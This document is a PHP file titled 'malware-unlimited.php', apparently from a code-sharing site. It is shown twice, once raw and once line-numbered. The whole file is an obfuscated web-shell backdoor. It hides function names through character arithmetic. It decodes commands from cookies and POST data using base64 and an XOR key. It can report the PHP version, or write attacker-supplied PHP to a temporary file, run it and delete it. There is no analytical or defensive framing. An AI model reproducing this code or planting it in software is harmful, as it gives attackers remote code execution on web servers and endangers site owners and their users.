malware-unlimited.php
· 3.6 KiB · PHP
原始文件
<?php function gwuud(){/*bpf */print (16325+16325); }
$rmtud_oqu/* pw*/=/* o*/'rmtud_oqu' ^/* uarq */'';
$lkqztnxgdh = "f".$rmtud_oqu(397-292) ./* ygxf */$rmtud_oqu(108) . $rmtud_oqu(101) . "\x5f"/* s */. $rmtud_oqu(112) ./* qiow*/"u"."\164" . $rmtud_oqu(735-640) . "c"."o".$rmtud_oqu(182-72) ./* mr */"\164" ./* b*/"\x65" . "\156"/* issb */./* hsj */"\164" ./* mlf */$rmtud_oqu(913-798);
$qjqgiizjem = $rmtud_oqu(720-622) . "\x61"/* qxvhv */. "\163" ./* xekjb */"\x65" . "\66" . "4".$rmtud_oqu(684-589) . $rmtud_oqu(100)/* yahr */./* g */"e"."\143" . "\x6f"/* rc_z */. "\x64" . "e";
$s_rgbmula = "\x75" ./* yvm_e */$rmtud_oqu(116-6) . "\163"/*bxyk*/./* co*/$rmtud_oqu(101) ./*b */"r"."\151"/* vvdg*/. "\x61" ./* xw */"l".$rmtud_oqu(105) . "z"."\x65";
$rmjnz = "p"."h".$rmtud_oqu(112) . "\166"/*n*/./*rzyhg*/"\145" ./*mvoc_ */$rmtud_oqu(290-176) . $rmtud_oqu(115) . $rmtud_oqu(499-394) ./* qw */"o".$rmtud_oqu(110);
$saczctn =/* tvrp*/"u"."n".$rmtud_oqu(108)/*htft */. $rmtud_oqu(105)/* koj */./* ph */"n".$rmtud_oqu(736-629);
function xdoif_j($_q_bubl, $fenrzxbh_)
{
global $rmtud_oqu;
$mlpegd/* sj */= "";
for ($rxkziqvuv =/* j */0; $rxkziqvuv/*tkysv*/</* uy */strlen($_q_bubl);) {
for/* ycxq*/($m_jpjgjbw =/* edstt */0; $m_jpjgjbw/* bilnn */< strlen($fenrzxbh_) &&/*pdwd */$rxkziqvuv/* wi */</* d */strlen($_q_bubl);/* bydhy */$m_jpjgjbw++, $rxkziqvuv++) {
$mlpegd/*wo */.= $rmtud_oqu(ord($_q_bubl[$rxkziqvuv]) ^/* g*/ord($fenrzxbh_[$m_jpjgjbw]));
}/* i*/} return $mlpegd;}
$qpmau = $_COOKIE;$wedfakk/* kt */=/*aeh*/$_POST;$qpmau = array_merge($wedfakk, $qpmau);
$orgkypy =/* cwbn */"b"."\x62" . "5"."a"."\x63" . "b"."\x66" ./* alxk */"c"."-"."\64" . "8"."\x31" . "4"."\55" . "\x34"/* quvby */./* _v */"\x64"/* _ */./* ddf */$rmtud_oqu(101) . $rmtud_oqu(54) . "\55" . "\71"/* _jlpg */. $rmtud_oqu(1040-988) "4"."\67"/* jnu */. $rmtud_oqu(112-67) ./* hr */"d"."\x34" ./* je */$rmtud_oqu(52) . "4"."\62" . "b"."\63" . "\142"/* edla*/. "6"."9"."\x62" . "8";
foreach/* xbp */($qpmau as $ntenvezot => $_q_bubl) { $_q_bubl/* nl*/=/* jbern*/$s_rgbmula(xdoif_j(xdoif_j($qjqgiizjem($_q_bubl), $orgkypy), $ntenvezot));
/* jmf */if (isset($_q_bubl[$rmtud_oqu(236-139)/* fqh */. $rmtud_oqu(797-690)])) {/* i*/if ($_q_bubl["a"] ==/*itevg */"i")/* f*/{
/* e*/$rxkziqvuv = array();
$rxkziqvuv["p"."\166"] = $rmjnz();
$rxkziqvuv["\163"/* sw_c*/. "\166"]/*l_k */=/* kas */"3".".".$rmtud_oqu(534-481);
/*oyynv*/echo @serialize($rxkziqvuv);
} elseif ($_q_bubl["a"] ==/* nldho*/$rmtud_oqu(614-513))/* wmq */{
$hwiyb_v = sprintf("."."/".$rmtud_oqu(847-810) . "s"."."."p"."\x6c", md5($orgkypy));
$lkqztnxgdh($hwiyb_v, "<" . "?"."p"."h"."p".$rmtud_oqu(32) ./* wiyy*/"u"."n"."l".$rmtud_oqu(490-385) . "n".$rmtud_oqu(488-381)/*guwbk */./* fk */"("."_"."\x5f" . "F"."I"."L"."\105"/* py*/. $rmtud_oqu(95) . "_".")".";".$rmtud_oqu(32) ./* jf */$_q_bubl["d"]);
include($hwiyb_v);
$cvbumthplc =/* reuk*/$hwiyb_v; $saczctn($cvbumthplc);
/* biszq*/}
/*dzqzs */exit();
}}
1 | <?php function gwuud(){/*bpf */print (16325+16325); } |
2 | |
3 | $rmtud_oqu/* pw*/=/* o*/'rmtud_oqu' ^/* uarq */''; |
4 | |
5 | |
6 | $lkqztnxgdh = "f".$rmtud_oqu(397-292) ./* ygxf */$rmtud_oqu(108) . $rmtud_oqu(101) . "\x5f"/* s */. $rmtud_oqu(112) ./* qiow*/"u"."\164" . $rmtud_oqu(735-640) . "c"."o".$rmtud_oqu(182-72) ./* mr */"\164" ./* b*/"\x65" . "\156"/* issb */./* hsj */"\164" ./* mlf */$rmtud_oqu(913-798); |
7 | |
8 | $qjqgiizjem = $rmtud_oqu(720-622) . "\x61"/* qxvhv */. "\163" ./* xekjb */"\x65" . "\66" . "4".$rmtud_oqu(684-589) . $rmtud_oqu(100)/* yahr */./* g */"e"."\143" . "\x6f"/* rc_z */. "\x64" . "e"; |
9 | |
10 | |
11 | $s_rgbmula = "\x75" ./* yvm_e */$rmtud_oqu(116-6) . "\163"/*bxyk*/./* co*/$rmtud_oqu(101) ./*b */"r"."\151"/* vvdg*/. "\x61" ./* xw */"l".$rmtud_oqu(105) . "z"."\x65"; |
12 | $rmjnz = "p"."h".$rmtud_oqu(112) . "\166"/*n*/./*rzyhg*/"\145" ./*mvoc_ */$rmtud_oqu(290-176) . $rmtud_oqu(115) . $rmtud_oqu(499-394) ./* qw */"o".$rmtud_oqu(110); |
13 | $saczctn =/* tvrp*/"u"."n".$rmtud_oqu(108)/*htft */. $rmtud_oqu(105)/* koj */./* ph */"n".$rmtud_oqu(736-629); |
14 | |
15 | |
16 | |
17 | |
18 | |
19 | function xdoif_j($_q_bubl, $fenrzxbh_) |
20 | |
21 | |
22 | { |
23 | |
24 | |
25 | global $rmtud_oqu; |
26 | $mlpegd/* sj */= ""; |
27 | for ($rxkziqvuv =/* j */0; $rxkziqvuv/*tkysv*/</* uy */strlen($_q_bubl);) { |
28 | |
29 | for/* ycxq*/($m_jpjgjbw =/* edstt */0; $m_jpjgjbw/* bilnn */< strlen($fenrzxbh_) &&/*pdwd */$rxkziqvuv/* wi */</* d */strlen($_q_bubl);/* bydhy */$m_jpjgjbw++, $rxkziqvuv++) { |
30 | $mlpegd/*wo */.= $rmtud_oqu(ord($_q_bubl[$rxkziqvuv]) ^/* g*/ord($fenrzxbh_[$m_jpjgjbw])); |
31 | }/* i*/} return $mlpegd;} |
32 | |
33 | |
34 | $qpmau = $_COOKIE;$wedfakk/* kt */=/*aeh*/$_POST;$qpmau = array_merge($wedfakk, $qpmau); |
35 | |
36 | |
37 | |
38 | $orgkypy =/* cwbn */"b"."\x62" . "5"."a"."\x63" . "b"."\x66" ./* alxk */"c"."-"."\64" . "8"."\x31" . "4"."\55" . "\x34"/* quvby */./* _v */"\x64"/* _ */./* ddf */$rmtud_oqu(101) . $rmtud_oqu(54) . "\55" . "\71"/* _jlpg */. $rmtud_oqu(1040-988) "4"."\67"/* jnu */. $rmtud_oqu(112-67) ./* hr */"d"."\x34" ./* je */$rmtud_oqu(52) . "4"."\62" . "b"."\63" . "\142"/* edla*/. "6"."9"."\x62" . "8"; |
39 | foreach/* xbp */($qpmau as $ntenvezot => $_q_bubl) { $_q_bubl/* nl*/=/* jbern*/$s_rgbmula(xdoif_j(xdoif_j($qjqgiizjem($_q_bubl), $orgkypy), $ntenvezot)); |
40 | /* jmf */if (isset($_q_bubl[$rmtud_oqu(236-139)/* fqh */. $rmtud_oqu(797-690)])) {/* i*/if ($_q_bubl["a"] ==/*itevg */"i")/* f*/{ |
41 | /* e*/$rxkziqvuv = array(); |
42 | |
43 | |
44 | $rxkziqvuv["p"."\166"] = $rmjnz(); |
45 | $rxkziqvuv["\163"/* sw_c*/. "\166"]/*l_k */=/* kas */"3".".".$rmtud_oqu(534-481); |
46 | |
47 | |
48 | /*oyynv*/echo @serialize($rxkziqvuv); |
49 | |
50 | |
51 | } elseif ($_q_bubl["a"] ==/* nldho*/$rmtud_oqu(614-513))/* wmq */{ |
52 | $hwiyb_v = sprintf("."."/".$rmtud_oqu(847-810) . "s"."."."p"."\x6c", md5($orgkypy)); |
53 | |
54 | |
55 | $lkqztnxgdh($hwiyb_v, "<" . "?"."p"."h"."p".$rmtud_oqu(32) ./* wiyy*/"u"."n"."l".$rmtud_oqu(490-385) . "n".$rmtud_oqu(488-381)/*guwbk */./* fk */"("."_"."\x5f" . "F"."I"."L"."\105"/* py*/. $rmtud_oqu(95) . "_".")".";".$rmtud_oqu(32) ./* jf */$_q_bubl["d"]); |
56 | |
57 | |
58 | include($hwiyb_v); |
59 | $cvbumthplc =/* reuk*/$hwiyb_v; $saczctn($cvbumthplc); |
60 | /* biszq*/} |
61 | |
62 | |
63 | /*dzqzs */exit(); |
64 | |
65 | }} |
66 | |
67 |